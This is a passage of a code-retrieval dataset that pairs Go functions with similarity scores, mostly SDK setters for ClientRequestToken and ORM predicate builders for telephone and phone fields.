*UpdateVolumeInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "38b291191ddd77c4fdf420a2f1bbb6fd", "score": "0.65499675", "text": "func (s *DeleteBackupInput) SetClientRequestToken(v string) *DeleteBackupInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "05a568588096d0fb36a9004d0a5d7b14", "score": "0.6544912", "text": "func (s *CreateDimensionInput) SetClientRequestToken(v string) *CreateDimensionInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "bbffb3ed633019c3d0792428ba074040", "score": "0.6531284", "text": "func (s *CreateMeetingInput) SetClientRequestToken(v string) *CreateMeetingInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "5e04e01141da4f7e3eca4ccdfff6e8c5", "score": "0.65269375", "text": "func (s *CreateFileSystemInput) SetClientRequestToken(v string) *CreateFileSystemInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "fc656cf2b67e628ed83c8ef6df5d4a26", "score": "0.65138054", "text": "func (s *CreateVolumeInput) SetClientRequestToken(v string) *CreateVolumeInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "3ffe6008f70da077f3172d47b7121d10", "score": "0.65077776", "text": "func (s *CreateSnapshotInput) SetClientRequestToken(v string) *CreateSnapshotInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a16871f3f4ce3b75de719dd4fff23fe7", "score": "0.6498903", "text": "func (gc *Client) SetAccessToken(token string) {\n\tgc.token = token\n}", "title": "" }, { "docid": "849cc50c25de3a2392f4b903b7aa6a50", "score": "0.6496347", "text": "func (s *RestoreVolumeFromSnapshotInput) SetClientRequestToken(v string) *RestoreVolumeFromSnapshotInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "3f9b2c41c5c0b69e2cfef797f0c30935", "score": "0.64951515", "text": "func (s *CreateJobInput) SetClientRequestToken(v string) *CreateJobInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "c69d65d65183427e8575299d18b8f852", "score": "0.64895207", "text": "func (s *DeleteVolumeInput) SetClientRequestToken(v string) *DeleteVolumeInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "14e37bc04ddf37a5a5277675c825ae56", "score": "0.64861166", "text": "func (s *ReleaseFileSystemNfsV3LocksInput) SetClientRequestToken(v string) *ReleaseFileSystemNfsV3LocksInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "4eac644431600da3e8dd425477875bb9", "score": "0.6480727", "text": "func (s *CreateWorkloadShareInput) SetClientRequestToken(v string) *CreateWorkloadShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "578e1ff1b646e3f5d2f675cc709e106e", "score": "0.64773405", "text": "func (s *DeleteWorkloadShareInput) SetClientRequestToken(v string) *DeleteWorkloadShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "9511df991bcaa4c29b6262c77c348edf", "score": "0.64770114", "text": "func (s *CreateProfileShareInput) SetClientRequestToken(v string) *CreateProfileShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b40266bc950f19b653c53259e2ac5e1d", "score": "0.64755", "text": "func (s *UpdateFileCacheInput) SetClientRequestToken(v string) *UpdateFileCacheInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ac2971f0487198894c3fc991d86d084f", "score": "0.647206", "text": "func (s *DeleteWorkloadInput) SetClientRequestToken(v string) *DeleteWorkloadInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "2fbbc6c86231d474c9381464a619daf5", "score": "0.6471936", "text": "func (s *CreateFileSystemFromBackupInput) SetClientRequestToken(v string) *CreateFileSystemFromBackupInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ceb8753cd2f5d547651c6a53dfffa209", "score": "0.64684373", "text": "func (s *CreateWorkloadInput) SetClientRequestToken(v string) *CreateWorkloadInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "961c4b688e5b02e51e0f6a1f13b0b35b", "score": "0.64646035", "text": "func (s *UpgradeProfileVersionInput) SetClientRequestToken(v string) *UpgradeProfileVersionInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "e2cf890d07e82d921a1815d4d0225a00", "score": "0.6457815", "text": "func (s *DeleteSnapshotInput) SetClientRequestToken(v string) *DeleteSnapshotInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "6002eec761ca8b0d3954ce39fabb4fda", "score": "0.645731", "text": "func (c *Client) SetUserToken(userToken *UserToken) error {\n\tvar err error\n\tif userToken != nil {\n\t\tc.userToken = userToken\n\t\treturn err\n\t}\n\terr = fmt.Errorf(\"No token to set\")\n\treturn err\n}", "title": "" }, { "docid": "4a4e9485a5d84107c8f777318f42fedd", "score": "0.645611", "text": "func (s *CreateFileCacheInput) SetClientRequestToken(v string) *CreateFileCacheInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "335f8634575e0fb122917f34c960fdd5", "score": "0.6454649", "text": "func (s *DeleteFileSystemInput) SetClientRequestToken(v string) *DeleteFileSystemInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "ac09482495040d4eebd451b32eabf135", "score": "0.64487916", "text": "func (s *CreateProfileInput) SetClientRequestToken(v string) *CreateProfileInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "4bd547f82a568ad42e83250cfafebb3a", "score": "0.64470184", "text": "func (s *CreateMilestoneInput) SetClientRequestToken(v string) *CreateMilestoneInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "b2555ba27d8bfb53414479bd4703bd15", "score": "0.6446035", "text": "func (s *CreateCustomMetricInput) SetClientRequestToken(v string) *CreateCustomMetricInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "8d36081282db9f2122fe3b57a80cb112", "score": "0.644069", "text": "func (s *CreateVolumeFromBackupInput) SetClientRequestToken(v string) *CreateVolumeFromBackupInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a5ebee9bf0f64411f75588b8439099ee", "score": "0.64384943", "text": "func (s *DeleteProfileShareInput) SetClientRequestToken(v string) *DeleteProfileShareInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "bf658b19705ac782471bf50c551bff95", "score": "0.64296424", "text": "func (s *UpdateStorageVirtualMachineInput) SetClientRequestToken(v string) *UpdateStorageVirtualMachineInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "c7adc38783d84fc706bb5dade4b9d0c1", "score": "0.64181376", "text": "func (s *DeleteFileCacheInput) SetClientRequestToken(v string) *DeleteFileCacheInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "cc684c22948b8d3bd459a6e95d9f6176", "score": "0.641156", "text": "func (s *CreateAuditSuppressionInput) SetClientRequestToken(v string) *CreateAuditSuppressionInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "08d0021e9f30fabd81e284080eb09e1a", "score": "0.6409936", "text": "func (s *UpdateDataRepositoryAssociationInput) SetClientRequestToken(v string) *UpdateDataRepositoryAssociationInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "9f31f43b11f88fb6066d00896a8f13aa", "score": "0.6407404", "text": "func (s *DeleteProfileInput) SetClientRequestToken(v string) *DeleteProfileInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "2ac321f85328ced339ca9d158800ea9f", "score": "0.63951546", "text": "func (s *AssociateFileSystemAliasesInput) SetClientRequestToken(v string) *AssociateFileSystemAliasesInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "d49ca8fee80ba791cf99cf63ca920e64", "score": "0.6395152", "text": "func (s *CreateStorageVirtualMachineInput) SetClientRequestToken(v string) *CreateStorageVirtualMachineInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "d53936f008a2549a05019903801a07e0", "score": "0.63942564", "text": "func (s *CreateMeetingWithAttendeesInput) SetClientRequestToken(v string) *CreateMeetingWithAttendeesInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "df8419a8b6834493a2bf42e1a2b72d27", "score": "0.6371145", "text": "func (s *DeleteStorageVirtualMachineInput) SetClientRequestToken(v string) *DeleteStorageVirtualMachineInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "e303d69b2681726933e7e44d90a3e920", "score": "0.6364289", "text": "func (s *CreateDataRepositoryTaskInput) SetClientRequestToken(v string) *CreateDataRepositoryTaskInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" }, { "docid": "a7a10b712081efd42d16551bdb518a02", "score": "0.63562346", "text": "func (s *StartPHIDetectionJobInput) SetClientRequestToken(v string) *StartPHIDetectionJobInput {\n\ts.ClientRequestToken = &v\n\treturn s\n}", "title": "" } ]
027463b260f73f39fac826195c93d099
TelephoneEQ applies the EQ predicate on the "telephone" field.
[ { "docid": "dad66be90d23aadbc42b5f63068c2c1d", "score": "0.8365974", "text": "func TelephoneEQ(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldTelephone), v))\n\t})\n}", "title": "" } ]
[ { "docid": "a7c446c95d006bc971eef6e7de345c76", "score": "0.77111346", "text": "func PhoneEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "bb37d7cd3233984d3e0998197d5bd9d8", "score": "0.73004824", "text": "func PhoneEQ(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "5e4705e29fbdd8e8d2c8d57eebf9c354", "score": "0.7212704", "text": "func PhoneEQ(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "f603e7fc7c1b9c209e1171429484db25", "score": "0.6887901", "text": "func Telephone(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "6ff9da0d8819be88c8da8c4928e39746", "score": "0.6863599", "text": "func Phone(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "ab2740b348468120039d5c98eb67e7eb", "score": "0.6632328", "text": "func MobileNumberEQ(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldMobileNumber), v))\n\t})\n}", "title": "" }, { "docid": "e9b634ee49461458be8d3df51a7fa5cf", "score": "0.6570723", "text": "func TelephoneEqualFold(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "da349c9b4066cdd8cde9840a9f9ef48c", "score": "0.64951426", "text": "func TelephoneContains(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "322128bb51cab07f73779ee2e9e3124c", "score": "0.6419386", "text": "func PhoneEqualFold(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "b43c1df7e990b7ef40acf3e272737c0c", "score": "0.62103885", "text": "func OtherPhonesEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldOtherPhones), v))\n\t})\n}", "title": "" }, { "docid": "a10c658c3865c8d8ddd2e6f13be3a013", "score": "0.6179688", "text": "func PhoneContains(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "55aa7fdb7d4cc83160d32b6fcb2ec029", "score": "0.6055119", "text": "func NurseTelEQ(v string) predicate.Nurse {\n\treturn predicate.Nurse(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldNurseTel), v))\n\t})\n}", "title": "" }, { "docid": "9f9b8d9a1474c492a93e818fe0b32b5a", "score": "0.60428435", "text": "func Phone(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "6c6fff7dd4b56a0c382d3e399b1332f9", "score": "0.5991598", "text": "func (pn PhoneNumber) Equal(other interface{}) bool { return pn.Equals(other) }", "title": "" }, { "docid": "85d4e8d5e197649926db400a1054f5ce", "score": "0.5957235", "text": "func Phone(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "53ac1bcd0b3a486ac98656feaf8517f1", "score": "0.58675164", "text": "func PhoneEqualFold(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "26c29453ac81404b13944b82ba2dfdaa", "score": "0.58503604", "text": "func TelephoneGTE(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "725350195db3fb7d178c98441bb6e73a", "score": "0.58437973", "text": "func TelephoneNEQ(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.NEQ(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "42bb16dee1032a929ba74d62abcef398", "score": "0.5840957", "text": "func (qs AccountQuerySet) MobileEq(mobile string) AccountQuerySet {\n\treturn qs.w(qs.db.Where(\"mobile = ?\", mobile))\n}", "title": "" }, { "docid": "8a3a6e2f0df891fdbbd06581b71fc3d3", "score": "0.58274233", "text": "func TelephoneLTE(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "97b23f264cf697ad8a664196fa25e634", "score": "0.5825378", "text": "func AddressEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldAddress), v))\n\t})\n}", "title": "" }, { "docid": "45964c77859537dce7155f8f228a98fc", "score": "0.5792519", "text": "func AddressEQ(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldAddress), v))\n\t})\n}", "title": "" }, { "docid": "e8ab8ef764f2bade272f719bb0b33e0b", "score": "0.5763232", "text": "func PhoneGTE(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "a4cc054fd7d1d55d8157d210f0ac7cd5", "score": "0.5698907", "text": "func PhoneEqualFold(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "44943745663f9b96f0a6c6de41dfc477", "score": "0.56638503", "text": "func TelephoneIn(vs ...string) predicate.People {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.People(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.In(s.C(FieldTelephone), v...))\n\t})\n}", "title": "" }, { "docid": "7196824338053727c059e39e4da4576b", "score": "0.56605285", "text": "func PhoneLTE(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "0764bcc6ce694425fa972eaf331e2d23", "score": "0.56535673", "text": "func TelephoneContainsFold(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.ContainsFold(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "159dfff3d2add101ed7a14b8087736ce", "score": "0.55654603", "text": "func RecordinsuranceContactEQ(v string) predicate.Recordinsurance {\n\treturn predicate.Recordinsurance(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldRecordinsuranceContact), v))\n\t})\n}", "title": "" }, { "docid": "ece2fb39acfde2c8dc4e0482b2ebe03c", "score": "0.5559853", "text": "func TelephoneHasSuffix(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.HasSuffix(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "94bf52372beb0810887b6a0928415fa6", "score": "0.5559382", "text": "func TelephoneGT(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "32349cf9de395fd5627a8d53113ac08a", "score": "0.5537377", "text": "func (sc *StudentCreate) SetTelephone(s string) *StudentCreate {\n\tsc.mutation.SetTelephone(s)\n\treturn sc\n}", "title": "" }, { "docid": "f4f0f66478b08e0b55f8c9f60c451540", "score": "0.55341214", "text": "func NumberEQ(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldNumber), v))\n\t})\n}", "title": "" }, { "docid": "6379838a080c8f864916ca30b586ab40", "score": "0.5481163", "text": "func PhoneContains(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "95c9df5563663dcfd7aa139257b9dc64", "score": "0.5468396", "text": "func TaxpayerIdentificationNumberEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldTaxpayerIdentificationNumber), v))\n\t})\n}", "title": "" }, { "docid": "0ca30447db53be4cf271688f33362216", "score": "0.5460638", "text": "func TelephoneLT(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldTelephone), v))\n\t})\n}", "title": "" }, { "docid": "ea2d4eaf41b43f4c6f56d2bedcc6fe2a", "score": "0.5422622", "text": "func PhoneContains(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "f7a88ea46d207c6060cd5814a1f9a83e", "score": "0.53997505", "text": "func PhoneContainsFold(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.ContainsFold(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "f6b4828d513e32e67410a253673d4682", "score": "0.5379304", "text": "func PhoneNEQ(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.NEQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "d4df1756bde20e06136f114aadd25007", "score": "0.5370991", "text": "func (m *ContactMutation) Phone() (r string, exists bool) {\n\tv := m.phone\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "bfbc7909e0c8f362285ff86e3e701c8e", "score": "0.5338701", "text": "func PhoneGTE(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "3a60736c8026b2d405b80d918021bab3", "score": "0.5330849", "text": "func (cu *CustomerUpdate) SetPhone(s string) *CustomerUpdate {\n\tcu.mutation.SetPhone(s)\n\treturn cu\n}", "title": "" }, { "docid": "71faf435bd4290cb50019236d752240c", "score": "0.53065294", "text": "func (qedc *QccEnterpriseDataCreate) SetPhone(s string) *QccEnterpriseDataCreate {\n\tqedc.mutation.SetPhone(s)\n\treturn qedc\n}", "title": "" }, { "docid": "d1feb234dadcc242b1fb9bab82c97033", "score": "0.5304667", "text": "func HospitalNumberEQ(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldHospitalNumber), v))\n\t})\n}", "title": "" }, { "docid": "bb456c94b3c2f16b1ccdd7cc7a11c41a", "score": "0.53005904", "text": "func PhoneLT(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.LT(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "db175fb3dea5b3e1b7ac5c38c19523ff", "score": "0.52980256", "text": "func (cac *CustomerAddressCreate) SetPhone(s string) *CustomerAddressCreate {\n\tcac.mutation.SetPhone(s)\n\treturn cac\n}", "title": "" }, { "docid": "4f81b8fcd8a7b608e53916dfb6cc4112", "score": "0.529383", "text": "func PhoneGTE(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "89b137809d4878b1a39b2d3149448d48", "score": "0.5288524", "text": "func OtherPhonesEqualFold(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldOtherPhones), v))\n\t})\n}", "title": "" }, { "docid": "2d4f6431dc46620c5e66eef21c0b7f57", "score": "0.5279373", "text": "func PhoneGT(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.GT(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "b53e3210f87bda362a1cbfa760fcfbbf", "score": "0.52696323", "text": "func PhoneIn(vs ...string) predicate.QccEnterpriseData {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.In(s.C(FieldPhone), v...))\n\t})\n}", "title": "" }, { "docid": "f400e746d92317ce19aca1f5f7e9c010", "score": "0.5258893", "text": "func MobileNumberEqualFold(v string) predicate.Patient {\n\treturn predicate.Patient(func(s *sql.Selector) {\n\t\ts.Where(sql.EqualFold(s.C(FieldMobileNumber), v))\n\t})\n}", "title": "" }, { "docid": "1b3ffe806ab97bf3df41abd62700299d", "score": "0.5248739", "text": "func RecordinsuranceAddressEQ(v string) predicate.Recordinsurance {\n\treturn predicate.Recordinsurance(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldRecordinsuranceAddress), v))\n\t})\n}", "title": "" }, { "docid": "8283c15cfcb1f77621cc70f481453f30", "score": "0.52194697", "text": "func (o *CreateCustomerFiscalEntitiesResponse) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "a8c44650430cfc2ce92475ba6cf74ebc", "score": "0.52075994", "text": "func PhoneLTE(v string) predicate.Club {\n\treturn predicate.Club(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "eccd326ce2d4153df3bfce72596708b6", "score": "0.52017623", "text": "func (cuo *CustomerUpdateOne) SetPhone(s string) *CustomerUpdateOne {\n\tcuo.mutation.SetPhone(s)\n\treturn cuo\n}", "title": "" }, { "docid": "50efe03e9fea6dac14467a317a2b9815", "score": "0.5193511", "text": "func OtherPhones(v string) predicate.QccEnterpriseData {\n\treturn predicate.QccEnterpriseData(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldOtherPhones), v))\n\t})\n}", "title": "" }, { "docid": "e4faed4c8810afd8c6e59331ed1ea5d7", "score": "0.51539254", "text": "func IdnumEQ(v string) predicate.People {\n\treturn predicate.People(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldIdnum), v))\n\t})\n}", "title": "" }, { "docid": "d03fc98359402d81181c3771940a626e", "score": "0.51245517", "text": "func PhoneLTE(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.LTE(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "03e885e72210bf658ce8a3de39d67577", "score": "0.5119806", "text": "func (c *ContactResolver) Phone() *string {\n\treturn &c.contact.Phone\n}", "title": "" }, { "docid": "b202ad2ebbc9e3256b38ae2deada34d3", "score": "0.5117597", "text": "func (objx *UserX) QueryPhone(property string) (*User, error) {\n\tobj := new(User)\n\tobj.Phone = property\n\thas, err := x.Get(obj)\n\tif has {\n\t\treturn obj, nil\n\t}\n\treturn nil, err\n}", "title": "" }, { "docid": "3beba6abc169655a9f1fa7ed61047b49", "score": "0.5089958", "text": "func (o *TenancyContactsListParams) SetPhone(phone *string) {\n\to.Phone = phone\n}", "title": "" }, { "docid": "5444195cab328610cb3f7d4d38dfa8a3", "score": "0.5089452", "text": "func (s BankSet) Phone() string {\n\tres, _ := s.RecordCollection.Get(models.NewFieldName(\"Phone\", \"phone\")).(string)\n\treturn res\n}", "title": "" }, { "docid": "a51be06d40105ccaba6a08949c143f6c", "score": "0.50884604", "text": "func (o *CustomerUpdateShippingContacts) SetPhone(v string) {\n\to.Phone = &v\n}", "title": "" }, { "docid": "1eaf28015ec9159aa290b6bfe4524343", "score": "0.5082895", "text": "func NoteEQ(v string) predicate.Dentalappointment {\n\treturn predicate.Dentalappointment(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldNote), v))\n\t})\n}", "title": "" }, { "docid": "ef402f31c5d5931d8b8ed57eebe5dc5e", "score": "0.50727415", "text": "func (f StringField) Eq(field StringField) Predicate {\n\treturn CustomPredicate{\n\t\tFormat: \"? = ?\",\n\t\tValues: []interface{}{f, field},\n\t}\n}", "title": "" }, { "docid": "e00c274baaf04985139b1e8c0dc0fe6e", "score": "0.5059213", "text": "func (du *DetailUpdate) SetPhone(s string) *DetailUpdate {\n\tdu.mutation.SetPhone(s)\n\treturn du\n}", "title": "" }, { "docid": "96253250903ce8aa13c7f6cf6a8b24f6", "score": "0.5051945", "text": "func (m *ContactMutation) SetPhone(s string) {\n\tm.phone = &s\n}", "title": "" }, { "docid": "2c04bd41d5511294f25ec4fd74b3d891", "score": "0.5041458", "text": "func PhoneNEQ(v string) predicate.SysUser {\n\treturn predicate.SysUser(func(s *sql.Selector) {\n\t\ts.Where(sql.NEQ(s.C(FieldPhone), v))\n\t})\n}", "title": "" }, { "docid": "a1196908d222dfdf8b57e9ff2183515c", "score": "0.5038273", "text": "func (s BankSet) SetPhone(value string) {\n\ts.RecordCollection.Set(models.NewFieldName(\"Phone\", \"phone\"), value)\n}", "title": "" }, { "docid": "de9dd1539fe61f5d37ba164c0458ccd5", "score": "0.50379205", "text": "func IdentificationNumberEQ(v string) predicate.User {\n\treturn predicate.User(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldIdentificationNumber), v))\n\t})\n}", "title": "" }, { "docid": "e79eb620f42e458887e1d3057f1fa62a", "score": "0.5035414", "text": "func (pn PhoneNumber) EqualsPhoneNumber(other PhoneNumber) bool {\n\treturn pn.countryCode == other.countryCode &&\n\t\tpn.nationalNumber == other.nationalNumber\n}", "title": "" }, { "docid": "1d0e0e9852d118d4af6a24c7c0c4aff3", "score": "0.50158924", "text": "func TyperoomEQ(v string) predicate.Patientroom {\n\treturn predicate.Patientroom(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldTyperoom), v))\n\t})\n}", "title": "" }, { "docid": "2e878e825af3a8269f3d8a604986e51d", "score": "0.4988846", "text": "func (d BankData) SetPhone(value string) m.BankData {\n\td.ModelData.Set(models.NewFieldName(\"Phone\", \"phone\"), value)\n\treturn d\n}", "title": "" }, { "docid": "7b7482a9b1dcfc16b2553bd115e9be15", "score": "0.49850303", "text": "func TelephoneNotIn(vs ...string) predicate.People {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.People(func(s 